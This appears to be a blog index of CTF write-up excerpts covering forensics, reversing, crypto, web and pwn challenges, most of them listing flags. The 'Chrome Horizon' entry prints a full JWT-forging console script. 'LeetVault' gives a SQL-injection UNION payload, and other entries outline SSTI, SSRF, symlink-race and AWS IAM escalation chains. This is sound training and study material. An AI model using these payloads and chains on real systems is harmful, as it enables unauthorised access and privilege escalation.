A 3-drive RAID5 NAS lost power while isfc-stage.py was rewriting a sealed report. Nobody saved the md settings, and the sealing key was burn-after-read. Recovery needed four steps:

Work out the RAID geometry from the raw images.
Recover the sealing key from the ext4 journal.
Rebuild the torn records from parity.
Repair one record that was still slightly wrong after the parity rebuild.

1. Recon

Three 17,825,792-byte images: bay0.img, bay1.img, bay2.img.

Zygote-Conspiracy Bundle

Sun, 11 Oct 2026 00:00:00 +0000

Challenge: notesync.apk + batterybuddy.apk, flag format isfcr{...} Flag: isfcr{tw1n_pr0cess_h4ndshake_mem0ry_0nly_9f23ac}

TL;DR

The two apps are two halves of one decryption scheme. Each ships a 32 KB half.bin. At runtime the native libs exchange halves through sealed memfds, XOR them, and ChaCha20-decrypt the result into a hidden DEX. That DEX holds an AES-GCM blob whose key is derived from the shared signing certificate. Everything is derivable offline from the two APKs.

Draftpad

Sat, 10 Oct 2026 00:00:00 +0000

Target

https://isfcrpesu-draftpad.chals.io/

Discovery

The application loads its document data from:

text

GET /api/document

The page also displays the published output from:

text

GET /api/export/public

The document uses pinned positions for the private range. The document API showed the private start and end pins, but the private block between them was not correctly protected. In particular, inserted blocks had shifted the document's linearized indexes while the pins retained their original positions.

ECHO-9

Sat, 10 Oct 2026 00:00:00 +0000

Summary

ECHO-9's watchdog recovery preserved its boot counter and restarted its transmit sequence. This caused a reset event to reuse the AES-CTR nonce of an earlier service response. The firmware, EEPROM, and UART capture provide enough information to reconstruct the reset event's plaintext. XORing that plaintext with the two ciphertexts recovers a diagnostic seed without recovering the device's OTP key.

The seed is verified by a SHA-256 proof. It then feeds a revision-3 HKDF construction bound to the device state, manifest, patched firmware, and canonical package data. The resulting key decrypts the update's diagnostic section with AES-GCM. The full flag, including its prefix, is stored in diagnostic TLV 0x0091.

ECHOCHAMBER — Boot2Root

Sat, 10 Oct 2026 00:00:00 +0000

Target: 10.49.153.33 (hostname echochamber, Debian 12, kernel 6.12) Flags: user.txt, root.txt (vaulted behind a symlink-flipping "warden")

TL;DR

Stage	Vector	Result
Foothold	Jinja2 SSTI in `/api/alert/preview`	RCE as `analyst`
Privesc	World-writable `/run/sentinel/ctrl.sock`, sentinel runs with `CAP_DAC_READ_SEARCH`, nonce gate computable from source	Read any file as `sentinel`, incl. `/root/root.txt`

Flags:

Faraday

Sat, 10 Oct 2026 00:00:00 +0000

Flag

text

isfcr{p3rmut3d_h4ndl3rs_v5_cust0m_ch4ch4_1n_th3_c4g3}

Overview

The attachment is an Android diagnostic app for the LumoWise LW-7 smart bulb. Its UI accepts a 16-byte challenge response as 32 hexadecimal characters. The actual validation and flag decryption are implemented in a native library, not in Java.

The native library validates the response through a custom virtual machine with shuffled opcode handlers. Reversing the VM's four transformation rounds produces the accepted response:

FlaGuard

Sat, 10 Oct 2026 00:00:00 +0000

Challenge

An Android application, FlaGuard, is advertised as a strict flag-format validator. The provided attachment is flaguard.apk, and the flag format is isfcr{...}.

Accepted Flag

text

isfcr{sh4d0w_cl455l04d3r_tr1ckery}

This flag was confirmed accepted by the challenge submission system.

APK Inspection

List the APK contents and decompile its code with JADX:

bash

unzip -l flaguard.apk
jadx -d flaguard-jadx flaguard.apk

The APK contains a small classes.dex and two assets:

Fluxgate G3 — Factory Service Mode Bypass

Sat, 10 Oct 2026 00:00:00 +0000

Category: IoT / Firmware / Protocol reversing Flag: isfcr{s1gn3d_p4rts_uns1gn3d_whole_ab84f1}

Overview

A small industrial controller exposes a line-oriented ASCII maintenance service over TCP. Factory service mode is supposed to be reachable only by on-site technicians with a dedicated hardware token. We are given the vendor's firmware bundle (fluxgate-g3.zip) and a low-tier operator token (capabilities 0x0003). The goal is to reach the UNLOCK action (factory service mode) and fetch the flag.

Ghosts in the Bulb

Sat, 10 Oct 2026 00:00:00 +0000

Category: Forensics (network / covert channels) Flag: isfcr{when_photons_and_seconds_both_carry_secrets_a7c3}

TL;DR

The capture is plain, unencrypted MQTT from 12 smart-home devices. Two devices hide data in covert channels:

Channel	Device	Carrier	Carries
"photons"	Bedroom bulb `192.168.1.32`	LSB of the `bri` (brightness) field	AES-GCM encrypted blob
"seconds"	Robovac `192.168.1.40`	Gaps between messages	The key text

Decode both, derive the key, decrypt the blob, get the flag.

Ghosts in the Bulb — Local Version

Sat, 10 Oct 2026 00:00:00 +0000

Category: Forensics (network / covert channels) Flag: isfcr{when_photons_and_seconds_both_carry_secrets_a7c3}

TL;DR

The capture is plain, unencrypted MQTT from a dozen smart-home devices. Two devices hide data in covert channels:

Channel	Device	Carrier	Carries
"photons"	Bedroom bulb `192.168.1.32`	LSB of the `bri` (brightness) field	AES-GCM encrypted blob
"seconds"	Robovac `192.168.1.40`	Gaps between messages	The key text

Decode both, derive the key, decrypt the blob, get the flag.

Keystone — Attestation Portal (boot2root)

Sat, 10 Oct 2026 00:00:00 +0000

Target: 10.48.140.14

Result

Flag	Value
user.txt	`isfcr{tr0st_but_v3rify_the_endors3ment}`
root.txt	`isfcr{a_pcr_is_a_promise_not_proof}`

Attack chain: Jinja2 SSTI (RCE as webapp) → forged TPM attestation against the internal vault (VAULT-114) → leaked tpm-admin SSH key → TOCTOU symlink race in the measure-and-run sudo helper → setuid root shell.

1. Reconnaissance

Full TCP scan:

LeetVault: The Hidden Test Case

Sat, 10 Oct 2026 00:00:00 +0000

Discovery

The challenge page identifies the target as the legacy problem search. The Problems page shows that searches are sent to:

text

GET /api/problems?search=<query>

A normal request returns six public problems. Supplying a single quote causes a SQL error, indicating that the search value is inserted into a database query without adequate parameterization.

Confirming SQL Injection

The following UNION payload adds a synthetic result:

text

' UNION SELECT 1,'x','y','z' --

Using curl:

Lossless Not Harmless

Sat, 10 Oct 2026 00:00:00 +0000

Flag

text

isfcr{ch0ic3s_th3_d3c0d3r_n3v3r_s33s}

Inspecting the PNG

The supplied mosaic_0417.png is a 256 × 300 indexed-color PNG. It contains a palette, two text chunks, nine IDAT chunks, and no data after IEND. The picture looks like colorful noise.

The text chunks provide two leads:

text

Software: dfl-stitch 2.3 (equivalent-match mode, flush=sync)
Comment: aXNmY3J7bm9wZV9ub3RfdGhpc19vbmV9

The comment decodes from Base64 to isfcr{nope_not_this_one}, a decoy. The software string points toward the compressed representation: DEFLATE can encode the same output using different back-references, and sync flushes introduce stored-block alignment padding.

Mirror Garden

Sat, 10 Oct 2026 00:00:00 +0000

Challenge

Something is growing in the mirror garden, and only one leaf remembers.

Attachment: mirror-garden.apk
Flag format: isfcr{...}

Result

text

isfcr{m1rr0r_g4rden_bl00ms_@t_m1dn1ght_7f3a}

The input to enter into the app's "whisper" field is:

text

L.]^ooq(LlU^(a]#

APK Inspection

Listing the archive revealed a DEX file and a small ARM64 native library:

bash

unzip -l mirror-garden.apk
jadx -d /tmp/opencode/mirror-jadx mirror-garden.apk
unzip mirror-garden.apk 'lib/*' -d /tmp/opencode/mirror-native

The important files are:

one-more — Blind Schnorr "one-more" forgery via ROS

Sat, 10 Oct 2026 00:00:00 +0000

Target: wss://one-more.isfcr.xyz Category: crypto Flag: isfcr{r0s_1s_n0t_h4rd_f0r_l0g_p}

The service

server.py is a blind Schnorr signing service over secp256k1. On connect it sends its public key for that connection:

text

X <128 hex> # X = x*G, fresh per connection

Commands (one per WebSocket message):

command	reply
`open`	`id <k> R <128 hex>` where `R = r*G`, fresh random `r`
`sign <k> <c>`	`s <int>` where `s = (r + c*x) mod n`
`submit`	then one JSON line `[[msg_hex, Rx, Ry, s], ...]`
`quit`

A signature (R, s) on message m is valid iff

The Alphabet That Wasn't There

Sat, 10 Oct 2026 00:00:00 +0000

Result

text

isfcr{d7ef3d5dd98bd325c3b50114}

The recovered evidence passes the AES-GCM authentication check supplied in the challenge.

Extracting the PDFs

The handout contains two files:

unzip 'handout (5).zip'

They are extracted into the-alphabet-that-wasnt-there/. The symbols are drawn by Type 3 fonts: their glyph programs paint rectangles rather than using a conventional alphabet. Text bytes and glyph names therefore cannot be treated as the decoded characters.

The damaged file also contains compressed objects, nested Form XObjects, clipping, invisible text, and stale object data. A small parser in inspect_pdf.py (local artifact) scans the surviving indirect objects, decompresses /FlateDecode streams, and expands /ObjStm objects using their /First offsets and object-number/offset headers. This recovers the dictionaries and content streams without relying on an intact PDF trailer.

The API That Knows Too Much

Sat, 10 Oct 2026 00:00:00 +0000

Summary

The employee directory exposed internal employee records without enforcing that the requested record belonged to the logged-in user. The leaked debug_reference for another employee led to an internal diagnostic endpoint and then to the case artifact containing the flag.

Credentials

text

Username: raj
Password: northstar2026

1. Authenticate

Log in at /login with the supplied credentials. The application redirects to /dashboard and establishes a session cookie.

The Meridian

Sat, 10 Oct 2026 00:00:00 +0000

A little museum of photographic time. Fourteen prints on display, and one negative the public never gets to see.

Target: https://isfcrpesu-the-meridian.chals.io Build: 2024.11-public

Flags

#	Where	Flag
1	Vault — negative `MRD-0000-0000` (the never-exhibited one)	`isfcr{d33p_m3rg3_p0llut3s_th3_pr0v3n4nc3_v4ult_1n_th3_m3r1d14n}`
2	Legacy staff console	`isfcr{l3g4cy_st4ff_c0ns0l3_1s_n0t_th3_v4ult}`
3	`RegistrarV2.SELFTEST` (wrong pepper)	`isfcr{wr0ng_p3pp3r_r1ght_curs3}`
4	Verdigris `provenance` cert, ROT-13	`isfcr{pr0v3n4nc3_pl4qu3_w4s_a_f0rg3ry}`

1. Recon

The site is a hash-routed SPA (nothing renders from the server). The useful surface is all in the JavaScript:

The Third Key Phase

Sat, 10 Oct 2026 00:00:00 +0000

Result

text

isfcr{7d6bae9970a1173284046064}

The evidence fields, in the required order, are:

json

["6e26102a48d71fe1d7f68231","87566bdc267eee5e8a8a7d0251033ec0ce2aef613ef35623cf1e6dc5fc1310d3","43669914701c2add27583d67043e96c02f44d622a78116f10fea5fac66e233dd"]

The exact accepted file is saved as accepted-file.bin. It contains 16,456 bytes.

1. Inspect the capture and embedded metadata

The only supplied artifact is capture.pcapng. Initial inspection:

bash

tshark -r capture.pcapng -q -z io,phs
strings capture.pcapng

The capture contains 265 Ethernet/IPv4/UDP packets. There is no initial QUIC handshake from which a normal dissector could establish all connection parameters.

Redacted Minutes

Fri, 09 Oct 2026 00:00:00 +0000

redacted/XploitX_Stego03_Participants/extractions/NIGHTINGALE_memo_RESTRICTED.docx.extracted/0/word/document.xml

Zero-width chars in the RE: line → key. Map \u200b=10, \u200c=00, \u200d=11, \u2060=01, decode → n1ghting4le_0v3rwatch.
<w:del> / <w:delText> runs, keep only author J. Okafor (26 runs × 96 base64 chars). Sort by w:date ascending, concatenate, base64-decode → nightingale.zip.
unzip -P 'n1ghting4le_0v3rwatch' nightingale.zip → notes.txt.
Trailing whitespace of each notes.txt line (40 lines × 8 chars): space=1, tab=0, MSB-first → flag. Flag: XploitXβ{tr4ck3d_z3r0w1dth_sn0w_l4y3rs}

Sensor Logs

Fri, 09 Oct 2026 00:00:00 +0000

Flag: XploitXβ{s1l3nt_0rb1t_c4rr13s_th3_3ncrypt3d_3ch0_1n_th3_fr4m3}

Unzipping the archive gives a second zip with four logs. Three of them (auth.log, network.log, system.log) each have a flag-looking string, but they're all decoys.

The interesting file is sensor_07.log. It starts out as text, then turns into binary after a --LOG_PAYLOAD-- marker. The binary part is a simple container where each entry is a 3-letter tag, a 4-byte length, then the data. It holds a PNG, a WAV, and a short TXT entry with _c4rr13s_th3_3ncrypt3d.

Biased Nonce

Thu, 08 Oct 2026 00:00:00 +0000

Category: Cryptography Points: 500 Difficulty: Insane File: public.json

Challenge Overview

We are given a set of ECDSA-style signatures over the secp256k1 curve whose nonces were generated with a bias: the top 8 bits of each nonce are zero, i.e. every nonce k satisfies

text

0 ≤ k < 2^248

(For comparison, the curve order n is a 256-bit number, so an unbiased nonce would be uniformly distributed in [0, n).)

Double Exposure

Thu, 08 Oct 2026 00:00:00 +0000

Flag

text

XploitXβ{tr4l1ng_sp4c3s_t4b_b1ts_pk_f1x_2d7e}

Solution

1. Spot the decoy

file on double_exposure.jpg reveals a JPEG comment:

text

comment: "XploitXβ{just_a_c0mm3nt_n0th1ng_m0r3}"

That is a decoy ("just a comment, nothing more").

2. Find the appended ZIP

The JPEG ends (EOI FFD9) well before the end of the file. There is a ZIP archive appended after the EOI. Its PK\x03\x04 magic had been overwritten with 00 00 00 00, so binwalk misses it. Restoring the magic reveals a single entry: memo.txt (ZipCrypto-encrypted).

Neon Relic (07_neon_relic.mid)

Thu, 08 Oct 2026 00:00:00 +0000

Category: Forensics / Stego Flag: XploitXβ{n30n_r3l1c|_1n_th3_fr4m3}

TL;DR

The MIDI file is a container. A ZIP is appended after the MIDI tracks, and inside it is a PNG whose top three pixel rows hide the flag as a 1-bit-per-pixel bitmap. The other files are decoys and a hint.

1. Recon

text

$ file 07_neon_relic.mid
Standard MIDI data (format 1) using 2 tracks at 1/960
$ stat -c %s 07_neon_relic.mid
533602

A MIDI file with a short arpeggio shouldn't be 533 KB. strings shows --MIDI_PAYLOAD_BOUNDARY--, relic.png and neon.wav after the track data (marker at offset 276, PK\x03\x04 right after it).

Nested Steam Package

Thu, 08 Oct 2026 00:00:00 +0000

Flag

text

XploitXβ{n3st3d_cl34n}

Solution

The challenge is a chain of nested archives ("nested stream package").

1. Level 1 — `CTF_sample_9.zip`

text

CTF_sample_9.zip
├── CHALLENGE.md → "Nested stream package."
└── nested_package.zip

2. Level 2 — `nested_package.zip`

text

nested_package.zip
├── playlist.txt → the flag
├── preview.mp4 → broken MP4 ("moov atom not found") — decoy
└── nested_stream.dat → another ZIP

playlist.txt contains the flag directly:

Orisond

Thu, 08 Oct 2026 00:00:00 +0000

Binary: orisond (x86-64, PIE, canary) Solve script: exp.py (local + --remote, port 9015); debug.py = development harness Flags:

local: NNS{local}
remote: XploitXβ{orison_22_memstage_7c91e4a2_static}

Service

Binary protocol: u32 command | args, reply u32 status | u64 value (cmd 5 replies with two qwords: arena base + code pointer).

cmd	args	action
1	—	`mmap()` a 2-page arena, RW (stage 0 → 1)
5	—	leak: replies `arena_base` and `default_stub` (→ PIE base)
2	`u32 page, u32 class`	set `page_class[page]`
3	`u32 page, u32 offset, u16 len, data`	write `len ≤ 0x200` bytes to `arena + page*0x1000 + offset` (allowed while the page is RW)
4	`u32 page`	`mprotect(page)` using its class — class 1 → `PROT_READ\|PROT_EXEC` (5)
6	`u32 page`	remap page `MAP_FIXED`, anonymous RW (stage → 6)
7	—	call the function pointer at `[arena+8]`, gated on `stage > 5`

Vulnerability

The service "catches you the moment you touch something you shouldn't" — but it never checks what the executable page contains. The only gate on cmd 7 is the stage counter, and cmd 6 advances the stage using page 1, leaving the attacker-written contents of page 0 untouched:

Port 0xBEEF (Hyper-Nested)

Thu, 08 Oct 2026 00:00:00 +0000

Challenge Overview

Incident Case File: #2026-2184-GAMMA | PORT 0xBEEF (HYPER-NESTED)
Category: Networking / Network Forensics / Cryptography
Target Flag Format: XploitX[beta]{...} (decoded as XploitXβ{...})

1. Initial Reconnaissance

Inspecting the directory files:

CASE_BRIEF.txt:
- Flag format: XploitX[beta]{...}
- Key exchange over TCP headers: $p = 65521$, $g = 17$.
- Pipeline: XOR(SHA512) -> GZIP -> Invert/Reverse -> ZLIB -> InvAffine -> BZ2.
volatility_volshell_dump.txt:
- PID: 4910 | Image: vault_daemon.elf | Command: /usr/local/bin/vault_daemon --port 0xBEEF
- Crypto: DH Key Exchange (p=65521, g=17). Master key = SHA512(Shared_Secret).
- Pipeline: XOR(SHA512) -> GZIP -> Invert(~b)/Reverse -> ZLIB -> Inverse_Affine[(b^0xAA - 37)*modinv(13,256)] -> BZ2.
knock_daemon.log:
- Shows client public key $A$ sent on port 22222.
- Server public key $B$ transmitted in RST/ACK.
- Client private key $a$ verified on port 33333.
- Port 48879 (0xBEEF) opened for 500ms.

2. Diffie-Hellman Key Exchange Analysis

Inspecting frames 119 to 122 in capture_port_knock_mirror.pcap:

Two Faces

Thu, 08 Oct 2026 00:00:00 +0000

Flag

text

XploitXβ{tw0_f4c3s_0n3_f1l3_0rph4n_0bj3ct}

Solution

1. Read the PDF metadata / visible text

exiftool shows the PDF Keywords:

text

dHcxbl9mNGMzc180cjNfaDRyZA==

Base64-decodes to tw1n_f4c3s_4r3_h4rd ("twin faces are hard").

The page content stream also contains white-coloured text (invisible against the white page):

text

XploitXbeta{wh1t3_t3xt_1s_n0t_th3_w4y}

This is a decoy ("white text is not the way").

2. Extract the embedded ZIP

binwalk locates a ZIP appended at offset 0x4EB. It contains two entries, both encrypted. The passphrase is the decoded keyword: tw1n_f4c3s_4r3_h4rd.

Shadow Consent

Sat, 03 Oct 2026 00:00:00 +0000

DFIR Challenge — Extreme Difficulty

Organization: Beacon Data Systems
Incident Date: 2024-03-14
Analysis Date: 2024-03-16

Case Brief

On March 14, Beacon's security team detected an OAuth token exchange at 14:37 UTC directed at a cloud service account (svc-app02@beacon.local). Sixteen minutes later, a legitimate-looking Kerberos service ticket request appeared on the domain controller. By 15:04, administrative credentials were extracted from memory on an internal application server.

The timeline is tight. The attackers moved fast. The evidence is fragmented across mail logs, workstation artifacts, Windows event logs, and network telemetry — and some of it contradicts itself.

Chrome Horizon — Manual Solve

Mon, 28 Sep 2026 00:00:00 +0000

Browser method

Open the challenge site in Chrome.
Press F12 and open the Console tab.
Paste and run the following script:

(async () => {
 const b64url = bytes =>
 btoa(String.fromCharCode(...new Uint8Array(bytes)))
 .replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");

 const json = obj => new TextEncoder().encode(JSON.stringify(obj));

 const header = {
 alg: "HS256",
 kid: "../static/style.css",
 typ: "JWT"
 };

 const payload = {
 sub: "editor",
 role: "editor"
 };

 const h = b64url(json(header));
 const p = b64url(json(payload));
 const message = `${h}.${p}`;

 const css = await fetch("/static/style.css").then(r => r.arrayBuffer());

 const key = await crypto.subtle.importKey(
 "raw", css, { name: "HMAC", hash: "SHA-256" },
 false, ["sign"]
 );

 const signature = await crypto.subtle.sign(
 "HMAC", key, new TextEncoder().encode(message)
 );

 document.cookie = `token=${message}.${b64url(signature)}; path=/`;
 location.href = "/admin";
})();

The script exploits the JWT kid path traversal vulnerability. It uses the publicly accessible /static/style.css file as the HMAC signing key, forges an editor-role token, stores it in the token cookie, and opens /admin.

TOMORROW-MART — SunshineCTF 2026

Mon, 28 Sep 2026 00:00:00 +0000

Challenge overview

The storefront offers a Founder’s Vault deed as lot 4042 for 1,000,000 credits. New FutureBank accounts only receive 500 credits, so the intended path is to find a discount code that is not shown in the UI.

1. Inspect the application

Open the challenge site in a browser and press F12 to open Developer Tools. The checkout page’s JavaScript shows that the site uses a GraphQL endpoint at:

Welcome

Mon, 28 Sep 2026 00:00:00 +0000

Category: Forensics
File provided: welcomecall.pcap
Flag: sun{thankyouforplaying}

1. Initial Analysis

We are provided with a packet capture file welcomecall.pcap.

Using tshark to check protocol conversations:

bash

tshark -r welcomecall.pcap -q -z conv,udp -z rtp,streams

Output:

text

========================= RTP Streams ========================
 Start time End time Src IP addr Port Dest IP addr Port SSRC Payload Pkts
 0.400000 15.940000 192.0.2.10 4000 192.0.2.20 4002 0x48271739 g711U 778
==============================================================

The capture contains:

Countersign attestation core v2

Sun, 27 Sep 2026 00:00:00 +0000

Reverse engineering of the countersign PIE binary and a protocol-only solver that recovers the 24-byte RUN payload for any live instance.

TL;DR

instance	sections	records	live edges	start	emit	flag
A (`:43186`)	40	127	53	`0x02f6`	`0x05d3`	`H7CTF{efb99265-4cbd-4dc0-bc40-539d7d0321f7}`
B (`:43230`)	40	129	53	`0x64d1`	`0x8695`	`H7CTF{6f548304-625c-4ed8-9696-b460e2167a45}`

Local binary (self-hosted, FLAG=h7{local_test_flag}) also verified end-to-end.

Hothouse

Sun, 27 Sep 2026 00:00:00 +0000

Remote: nc pwn.h7tex.com 42945 (also served on 43895; each instance hands out its own flag) Binary: hothouse — stripped, statically linked x86-64 ELF, main at 0x403100 Flags obtained:

pwn.h7tex.com:42945 → H7CTF{8fbdbe42-ef45-4cfd-9348-c0f68849d023}
pwn.h7tex.com:43895 → H7CTF{0cd953e8-c11a-4f1a-ad63-404572b5ba45}

1. Summary

The binary is a "coprocessor" simulator. A 32×32 lattice of bits is grown for 7 generations of a linear (XOR) cellular automaton, and the result is bit-packed into a 128-byte page that is mprotected RWX and then called as machine code. The flag path sits in the page just below it.

St. Cascade General — Mid-Run Ransomware

Sun, 27 Sep 2026 00:00:00 +0000

Challenge Overview

Category: Forensics / Memory Analysis
Provided Files:
- memory.lime.zst (Compressed LiME memory dump)
- Q3_patient_records.pdf.locked (Encrypted document, 672 bytes)
Challenge Prompt:

At 03:14 the ransomware reached St. Cascade General, and by the time responders made the nurses' station it was still chewing through patient files. They froze the workstation where it stood and only then cut the power. Catch a thief mid-reach and they are still holding what they grabbed.

"sudo zip, sudo shred, zero proof"

Sat, 26 Sep 2026 00:00:00 +0000

Flag

text

H7CTF{e211b7db9d4f5c9f0812}

Evidence

File	Size	Notes
`case_disk.img`	20 971 520 B	Linux ext4, volume label `CASE-2026-0917`, 1 KiB blocks, clean unmount

No sleuthkit and no root on this box, but debugfs / dumpe2fs read the image read-only straight from the file, which is all this needs.

CherryPic — Cybercom

Sat, 26 Sep 2026 00:00:00 +0000

Flag

text

NOCT{ch3rry_supply_ch41n_0wn3d}

Enumeration

The home page exposed a CherryPic image-metadata feature:

text

GET /cherrrypic
POST /cherrrypic/upload

The upload form accepts .djvu files. A harmless upload revealed that the server runs ExifTool 12.23 against uploaded files.

ExifTool 12.23 is vulnerable to CVE-2021-22204, a Perl code-injection vulnerability in DjVu annotation metadata.

Exploitation

The payload uses an ANTa annotation chunk containing Perl code. The following command builds a minimal DjVu file in memory and submits it directly to the upload endpoint:

Deleting a Thing

Sat, 26 Sep 2026 00:00:00 +0000

Flag

text

H7CTF{7adf9695fb655c752810}

Evidence

File	Size	Notes
`evidence.zip`	863 B	archive holding the two files below
`messages.db`	12288 B	SQLite 3.x, table `messages`
`secure.xml`	255 B	app config: obfuscation key + body encoding

messages.db schema:

sql

CREATE TABLE messages(_id INTEGER PRIMARY KEY, thread TEXT, sender TEXT, ts INTEGER, body TEXT);

Step 1 — Read the live table

console

$ sqlite3 messages.db "SELECT * FROM messages;"
1 general alice 1710001000000 lunch at 1?
2 general bob 1710001100000 sure, the usual spot
3 general alice 1710001200000 cool, see you
5 ops mallory 1710002050000 burn this after you read it
6 general bob 1710002100000 anyone seen the build?
7 general carol 1710002200000 ci is green now

Nothing incriminating — the suspect's story holds. But notice the rowid gap: _id 4 is missing while 1,2,3,5,6,7 are present. Message 4 was deleted, not never-existed.

DeputyCorp Cloud Integration — AWS IAM Privilege Escalation

Sat, 26 Sep 2026 00:00:00 +0000

Endpoint: https://web-dac032e81309a592.web.h7tex.com Start creds: AKIAANALYST0000000000 / wJalrAnalystSecretKeyEXAMPLEbPxRfiCY (region us-east-1) Start identity: arn:aws:iam::111111111111:user/analyst (account 111111111111)

Flags

#	Stage	Flag	Where
1	recon	`H7CTF{d6cc592f5a2f3db80718}`	`s3://deputy-analyst-scratch/welcome.txt`
2	passrole	`H7CTF{28f87391f8a228110839}`	`s3://deputy-runner-logs/build.log`
3	admin	`H7CTF{ea3e1dba8012d76e2648}`	`s3://deputy-flag-vault/flag`
4	externalid	`H7CTF{1dbe909840d15aabdd63}`	`s3://deputy-crown-vault/flag`

Attack chain at a glance

text

user/analyst (111111111111)
 | iam:PassRole + lambda:CreateFunction
 v
ci-runner-role (111111111111) <- Lambda execution role, trust: lambda.amazonaws.com
 | sts:AssumeRole (cross-account, no ExternalId)
 v
partner-admin-role (999999999999) <- confused deputy across the org boundary
 | sts:AssumeRole + ExternalId (read out of partner-config.json)
 v
partner-secure-role (999999999999) <- the "hardened" role

Stage 1 — recon

iam:Get* / iam:List* on * means full read access to IAM config, so start by asking the key what it is.

FlyWithHer.io

Sat, 26 Sep 2026 00:00:00 +0000

Flag

NOCT{g00d_b0y_1_4m_n0t_j41e}

Reconnaissance

The site exposed a link-preview endpoint:

text

/api/preview?url=<URL>

It fetches arbitrary URLs and returns their content, making it vulnerable to SSRF.

Testing localhost revealed internal services:

text

http://127.0.0.1:3000/
http://127.0.0.1:5000/

Port 5000 exposed the Sayana toolkit and its documentation:

text

/docs/mommy-codec
/docs/pilot-program

DGA endpoint

The pilot-program documentation described the endpoint-generation algorithm:

text

today = UTC date as YYYYMMDD
days = (today - 2026-01-01).days
step1 = SHA256(today + "sayana_0wns_u_jaie")
step2 = SHA256(step1 + str(days))[:12]
endpoint = /api/submit/{step2}/jaie

For 2026-09-26, days is 268, producing:

MURMUR v1.2 Mesh Control Protocol

Sat, 26 Sep 2026 00:00:00 +0000

MURMUR is the control channel used between gateways and guest nodes in the Halcyon industrial mesh. This note is the fielded v1.2 profile. It is enough to read a link if you already hold a tap position on one.

1. Handshake

MURMUR runs a Noise XKpsk3 handshake with the 25519_ChaChaPoly_BLAKE2s suite. The gateway is the responder and carries a fixed static key. Guest nodes are the initiator and bring a fresh ephemeral key for every session, so link transcripts are never reusable across sessions.

Onyx Locker 2.4.0 (mobile)

Sat, 26 Sep 2026 00:00:00 +0000

Flag: H7CTF{7dc9e570-56c6-40bc-ab4f-2d8ab182e097}

Challenge

An Android password-manager APK (onyx-locker-2.4.0.apk, package com.onyx.locker) plus a live backend at https://web-f328e5c854ffc583.web.h7tex.com. The app's UI only ever prints bullet characters where secrets should be, so the goal is to replay the app's own API calls and read the unmasked vault.

Analysis

Unpack the APK (jadx / apktool / unzip — the DEX is un-obfuscated) to get four classes in sources/com/onyx/locker/:

File	Role
`MainActivity.java`	UI + the whole sync routine
`ApiClient.java`	thin `HttpURLConnection` POST/GET wrapper
`Session.java`	`SharedPreferences` store for `base_url`, `device_id`, `token`
`VaultCrypto.java`	hardcoded AES/CBC key + IV for the offline cache

AndroidManifest.xml confirms android:usesCleartextTraffic="true" and android:debuggable="true", i.e. plain HTTP to an arbitrary user-supplied host. Session.baseUrl() defaults to http://10.0.2.2:8080 and is overridable from the "server" text field in the layout — so the app is just a thin client pointed at whatever backend you tell it to talk to.

Sparrow Freight API — Leaked Production Token

Sat, 26 Sep 2026 00:00:00 +0000

Flag: H7CTF{116f8522b35663cde2ce}

The claim

A Sparrow Freight developer insisted the production carrier token never made it into a commit, and that the history was spotless. It was — the repository was pulled before anyone had a chance to tidy it further, so nothing had been rewritten, filtered, or garbage collected away.

The claim is also irrelevant. git log only shows you commits that a ref points to. It says nothing about the rest of the object database. Git writes a blob to .git/objects the moment a file is added — long before any commit exists, and it stays there after a ref stops pointing at it.

Lunar Forensic Challenge 4

Sun, 20 Sep 2026 00:00:00 +0000

Flag: Lun4R{c4rv1ng_m3t4d4t4_4nd_p1x3l_wh1sp3rs}

Overview

A PNG image (case_evidence.png) containing multiple layers of hidden data.

Step 1: PNG Metadata (tEXt chunks)

Examining PNG chunks revealed three text entries:

Comment: Lun4R{th1s_1s_n0t_th3_r34l_fl4g_k33p_d1gg1ng} — Decoy flag
archive_note: RnU0cTBqUzF5cl8yMDI0 — Base64 string (password hint)
Author: Warning about solving it yourself

Step 2: Embedded ZIP After IEND

728 bytes found after the PNG IEND chunk — a password-protected ZIP file containing secret.png.

Blackout Gateway

Fri, 11 Sep 2026 00:00:00 +0000

Category: Web
Difficulty: Hard
Points: 500
Source: https://ct-fforme.vercel.app/cha4.html

Challenge Overview

The Blackout Gateway is a simulated API security console with a server-side fetch simulator, JWT token workbench, and an admin console. The goal is to bypass an SSRF filter, forge a JWT, and exfiltrate data from an internal service.

Step 1: SSRF Bypass — Decimal IP Address

The "Remote Resource Inspector" simulates a server-side fetch with a filter that blocks internal addresses:

ET — Tu Brute

Fri, 11 Sep 2026 00:00:00 +0000

The crew's inside man left a note taped under a desk, written for someone who "already knew the rotation." No key was given — but old habits die hard, and this cipher has exactly 25 things it could be.

Hint: "Julius trusted this trick 2000 years ago. Some things never update their security."

Captured data: YETZ{XM_MN_UKNMX_LABYM_ATIIXGL}

FLAG{ET_TU_BRUTE_SHIFT_HAPPENS}

Roulette Online

Fri, 11 Sep 2026 00:00:00 +0000

Challenge

The program starts with a balance of 10 and lets us place roulette wagers. A successful spin doubles the wager, while a losing spin subtracts it from the balance. The flag is printed when the final balance is greater than 999999999.

The relevant code is:

*balance -= wager;

int lotto = (rand() % 36) + 1;

if (lotto == 1)
 *balance += 2 * wager;

The program seeds libc's PRNG with the current Unix timestamp:

srand(time(NULL));

Stack write primitive

Before the game starts, SNAPSHOT() prints the stack. For example:

Hiding in Your Wi-Fi

Sat, 05 Sep 2026 00:00:00 +0000

Challenge Info

Category: DevSec
Points: 1
Difficulty: Introductory

Reconnaissance

We connect to the attacker box via ncat:

text

ncat --ssl hiding-in-your-wifi-0198be60585f.chall.nnsc.tf 1337

We land on a machine at 10.10.10.66 with arpspoof and tcpdump available. The network contains:

Host	IP	Role
Client	10.10.10.20	Fetching data
Server	10.10.10.10	Serving data
Us	10.10.10.66	MITM attacker

IP forwarding is already enabled (/proc/sys/net/ipv4/ip_forward = 1).

Web Hacker 2

Sat, 05 Sep 2026 00:00:00 +0000

Challenge

A beginner web exploitation challenge focusing on IDOR (Insecure Direct Object Reference) vulnerabilities.

Reconnaissance

The landing page at https://web-hacker2-90ff1ba4af22.chall.nnsc.tf/intro?page=1 hints that the page query parameter can be abused.

Step 1: IDOR on Query Parameter

Changing ?page=1 to ?page=2 reveals the second step, which explains IDOR and provides a link to the boarding pass challenge:

text

https://web-hacker2-90ff1ba4af22.chall.nnsc.tf/intro?page=2

The page mentions that the admin user may have something interesting.

VVDrug Cartel — Web

Sat, 22 Aug 2026 00:00:00 +0000

Dont you dare to enter here. You thought it would be this easy ? huh.

SecureTrust Cluster Registry

Sat, 15 Aug 2026 00:00:00 +0000

Target: https://registry.kube1.thesecuretrust.com

